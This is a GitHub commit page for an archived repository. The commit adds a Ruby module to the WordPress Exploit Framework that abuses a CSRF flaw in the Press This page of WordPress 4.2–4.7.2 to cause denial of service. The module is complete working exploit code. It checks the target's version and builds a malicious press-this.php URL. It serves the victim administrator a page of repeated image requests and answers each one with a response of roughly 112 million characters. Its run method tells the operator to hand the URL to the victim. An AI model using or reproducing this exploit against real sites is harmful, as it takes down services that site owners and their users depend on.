Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 1eba4d9

Browse files
committed
Add WordPress 4.2-4.7.2 CSRF DoS module
1 parent d8bd02c commit 1eba4d9

File tree

1 file changed

+81
-0
lines changed

1 file changed

+81
-0
lines changed
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
class Wpxf::Auxiliary::Wp472CsrfDos < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WordPress 4.2-4.7.2 - CSRF DoS',
9+
desc: %(
10+
A Cross-Site Request Forgery (CSRF) vulnerability exists on the Press This page of WordPress.
11+
This issue can be used to create a Denial of Service (DoS) condition if an authenticated
12+
administrator visits a malicious URL.
13+
),
14+
author: [
15+
'Sipke Mellema', # Vulnerability disclosure
16+
'Rob Carr <rob[at]rastating.com>' # WPXF module
17+
],
18+
references: [
19+
['WPVDB', '8770'],
20+
['URL', 'https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/'],
21+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_press_this_function_allows_dos.html']
22+
],
23+
date: 'Mar 06 2017'
24+
)
25+
26+
register_option(
27+
IntegerOption.new(
28+
name: 'request_count',
29+
required: true,
30+
desc: 'The number of requests to make',
31+
default: 50
32+
)
33+
)
34+
end
35+
36+
def check
37+
target_version = wordpress_version
38+
return :unknown if target_version.nil?
39+
40+
version_vulnerable?(target_version, Gem::Version.new('4.7.3'), Gem::Version.new('4.2'))
41+
end
42+
43+
def url_with_xss
44+
xss_url
45+
end
46+
47+
def request_count
48+
normalized_option_value('request_count')
49+
end
50+
51+
def generate_payload_url
52+
normalize_uri(wordpress_url_admin, "press-this.php?u=#{url_encode(xss_url)}#{url_encode('.txt')}&url-scan-submit=Scan&#{Utility::Text.rand_alpha(3)}=#{Utility::Text.rand_alpha(3)}")
53+
end
54+
55+
def on_http_request(path, _params, _headers)
56+
if path == "/#{xss_path}"
57+
emit_info 'Starting DoS...'
58+
res = ''
59+
request_count.times do
60+
res = "#{res}<img src='#{generate_payload_url}'>"
61+
end
62+
63+
{ body: res, type: 'text/html' }
64+
else
65+
emit_info 'Sending DoS payload...'
66+
'<>' * 56_000_000
67+
end
68+
end
69+
70+
def run
71+
return false unless super
72+
73+
emit_info 'Provide the URL below to the victim to begin the denial of service'
74+
puts
75+
puts url_with_xss
76+
puts
77+
78+
start_http_server
79+
true
80+
end
81+
end

0 commit comments

Comments
 (0)